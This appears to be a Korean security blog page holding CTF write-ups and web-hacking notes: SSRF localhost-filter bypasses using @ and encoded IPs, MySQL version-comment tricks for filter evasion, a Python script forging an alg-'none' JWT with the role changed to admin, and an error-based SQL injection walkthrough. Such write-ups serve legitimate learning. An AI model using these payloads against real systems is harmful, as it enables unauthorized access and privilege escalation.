[HackCTF] LOL

Solve Problem/HackCTF 2019. 11. 20. 15:08
반응형

문제에 접근하면 /flag.php에 접근하는데 "you are not local"이라고 뜬다.


로컬로 접근하면 되는 것인가 하여 X-Forwarded-For로 접근을 해보았지만 가능하지 않았다.



밑에 링크를 클릭하면 다음과 같이 Search user 페이지가 뜨며, 여기서 user에 문자열 입력 후 [제출]을 클릭하면 op.gg 페이지에서 해당 문자열에 대해 유저를 검색한다.


해당 요청을 잘 보면 POST 방식으로 다음과 같이 요청을 보낸다.

query=rootable&url=http%3A%2F%2Fwww.op.gg%2Fsummoner%2FuserName%3D


여기서 url 부분에 op.gg가 있는 것을 보아 다른 페이지에도 접근이 가능한지 google.com을 이용해보았다.

하지만, 이에 필터링에 의해 응답으로 "Nonononononono~"가 출력되었고 이는 간단히 @를 이용하여 우회할 수 있었다.


아래와 같이 요청을 보내 google.com에 접근이 가능함을 확인하였다.

query=/&url=http://www.op.gg@google.com


이제 로컬의 flag.php에 접근하기 위해 로컬 IP로 변조하여 아래와 같이 요청하였다.


query=/flag.php&url=http://www.op.gg@127.0.0.1


하지만 이에 대한 응답으로 Nop이라고 왔고, 127.0.0.1, localhost에 대해 필터링이 되어있음을 알 수 있었다.

이를 우회하기 위해 나는 0.0.0.0을 이용하였다.


flag.php에 접근하기 위한 요청은 다음과 같다.

query=/flag.php&url=http://www.op.gg@0.0.0.0



추가적으로 다음과 같은 쿼리로도 FLAG 획득이 가능하다.


query=/flag.php&url=http://www.op.gg@0

query=/flag.php&url=http://www.op.gg@2130706433 (2130706433은 127.0.0.1을 IP Decimal 형태로 변환한 것)

query=/flag.php&url=http://www.op.gg@0177.0.0.1 ( 0177은 8진법으로 나타낸 127 )


참고 ) 

https://www.ipaddressguide.com/ip

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery#bypass-localhost-with-

https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html





반응형

'Solve Problem > HackCTF' 카테고리의 다른 글

[HackCTF] Secret Document  (0) 2018.12.31
[HackCTF] No Password  (0) 2018.12.30
[HackCTF] 가위바위보  (0) 2018.12.28
[HackCTF] Secure Login  (0) 2018.12.02
블로그 이미지

rootable

,

Mysql Special Comment

Hacking/Web 2019. 11. 20. 10:10
반응형

Mysql에는 특별한 주석이 존재한다.


그것은 바로 버전 별로 주석이 동작하는 /*! */ 형태이다.


아래 몇가지 형태를 보자.


현재 쿼리를 실행하는 버전은 5.7.12 버전이다.


1) select * from test2 from id=1 or id=2

 - 해당 쿼리를 통해 test2 테이블에 id가 1인 데이터와 2인 데이터가 존재함을 확인


2) select * from test2 from id=1 /*! or id=2*/

 - 이 경우 MySQL의 버전에 상관없이 항상 /!* */ 부분의 쿼리가 실행된다.

 - 만약 필터링이 union select와 같이 연결하여 설정되어 있을 경우 union/*!select*/으로 우회가 가능하다.


3) select * from test2 from id=1 /*!50000 or id=2*/

 - 이 경우 MySQL 버전이 5 이하 경우에만 주석이 실행된다. 현재 쿼리를 실행한 Mysql은 5.7.12버전이기 때문에 주석이 실행되지 않아 id=2인 데이터까지 출력이 된다.

 -현재 버전이 5. /*!60000 */로 변경할 경우 쿼리를 실행한 버전이 5.X이기 떄문에 6 이하이기 때문에 해당 주석이 실행되어 id=1인 데이터만 출력이 된다.

 - 결론 : /*![버전] */ 일 때 해당 데이터베이스가 해당 버전 이하일 경우에만 주석처리가 된다!

       


4) select /*!50000 1/0, */1 from test2

 - 해당 경우 실제 웹 어플리케이션에서 조회하는 부분에 이용할 수 있는 쿼리이다.

 - 좌측의 쿼리는 버전이 5.0 이하가 아니기 때문에 주석이 실행되지 않아 NULL이 출력되며, 우측의 쿼리는 버전이 6.0 이하이기 때문에 주석이 실행되어 정상적으로 1만 출력됨을 볼 수 있다.


- 이를 조금 더 나아가면 50000 부분을 조금씩 수정해가며 응답을 봐서 데이터베이스의 정확한 버전정보를 알 수 있다. 아래 쿼리들 처럼 정확히 현재 DB의 버전이 5.07.12임을 확인할 수 있다.


       






반응형

'Hacking > Web' 카테고리의 다른 글

데이터 평문전송 대응방안  (2) 2019.12.06
0.0.0.0 의 의미  (0) 2019.11.20
JWT algorithm modify code  (0) 2019.11.19
Webtob + Jeus 설정파일 리스트  (0) 2019.11.01
Subquery를 이용한 Error based Injection  (0) 2019.10.10
블로그 이미지

rootable

,

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

반응형

아래는 JWT 에서 algorithm을 none으로 수정하는 코드이다.

자세한 코드에 대한 설명은 생략한다.



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/python
# -*- coding: utf-8 -*-
 
jwt = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJyb2xlIjoiZ3Vlc3QifQ.4kBPNf7Y6BrtP-Y3A-vQXPY9jAh_d0E6L4IUjL65CvmEjgdTZyr2ag-TM-glH6EYKGgO3dBYbhblaPQsbeClcw"
header, payload, signature  = jwt.split('.')
 
print("header decode : "+header.decode('base64'))
print("payload decode : "+(payload+"==").decode('base64')+'\n')
 
# Replacing the ALGO and the payload username
header  = header.decode('base64').replace('HS512',"none")
payload = (payload+"==").decode('base64').replace('guest','admin')
 
header  = header.encode('base64').strip().replace("=","")
payload = payload.encode('base64').strip().replace("=","")
 
# 'The algorithm 'none' is not supported'
print( header+"."+payload+".")
 
cs



 - jwt 모듈이 있다면 간단하게 jwt.encode(payload,key,algorithm)으로 할 수 있다.

 ex) jwt.encode({'user':'rootable','role':'admin'},'',algorithm="none")


참고) https://github.com/sobinge/PayloadsAllThesobinge/tree/master/JSON%20Web%20Token

반응형

'Hacking > Web' 카테고리의 다른 글

0.0.0.0 의 의미  (0) 2019.11.20
Mysql Special Comment  (0) 2019.11.20
Webtob + Jeus 설정파일 리스트  (0) 2019.11.01
Subquery를 이용한 Error based Injection  (0) 2019.10.10
웹서버 루트디렉토리 경로 찾기  (0) 2019.09.27
블로그 이미지

rootable

,

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

반응형

문제에 접근해보자.




unique id를 찾아서 입력을 하면 문제가 풀릴꺼같다.

일단 간단하게 test를 입력하고 Search를 눌러주면 아래와 같이 친절하게 에러를 보여준다.



그래서 Error based SQLI 인가 싶어 진행을 해보았다.


https://babyweb.rootersctf.in/index.php?search=0+order+by+1 (에러발생 X)

https://babyweb.rootersctf.in/index.php?search=0+order+by+2 (에러발생 X)

https://babyweb.rootersctf.in/index.php?search=0+order+by+3 (에러발생 O)


에러 발생이 되지 않을 때 아래와 같이 SELECT 쿼리문을 보여주기 때문에 테이블명이 users임을 알 수 있고 위의 order by를 통해 users 테이블에는 컬럼이 2개임을 알 수 있다.



이후 having 절을 통해 컬럼명을 찾아보려했는데 에러가 발생되지 않고 정상적으로 실행되길래 몇번 삽질과 함께 검색을 하다 아래와 같은 사이트를 찾았다.

http://www.securityidiots.com/Web-Pentest/SQL-Injection/Error-Based-Injection-Subquery-Injection.html


여기서 소개해준 기법을 통해 아래와 같이 쿼리를 만들어서 원하는 데이터 추출이 가능함을 확인하고 쭉쭉 풀었다.


users 테이블의 컬럼명은 user와 uniqueid이며 이 중 uniqueid를 아래 쿼리를 통해 획득하였다.


해당 값을 입력해주니 FLAG가 출력되었다.

반응형

'Hacking Contest' 카테고리의 다른 글

[Kipod After Free CTF 2019]  (0) 2019.12.24
2019 X-MAS CTF  (0) 2019.12.18
[ByteBandits CTF 2019] Online Previewer 1  (0) 2019.04.13
[ByteBandits CTF 2019] EasyPHP  (0) 2019.04.13
parse_url Hostname Bypass (SwampCTF Brokerboard Writeup)  (0) 2019.04.07
블로그 이미지

rootable

,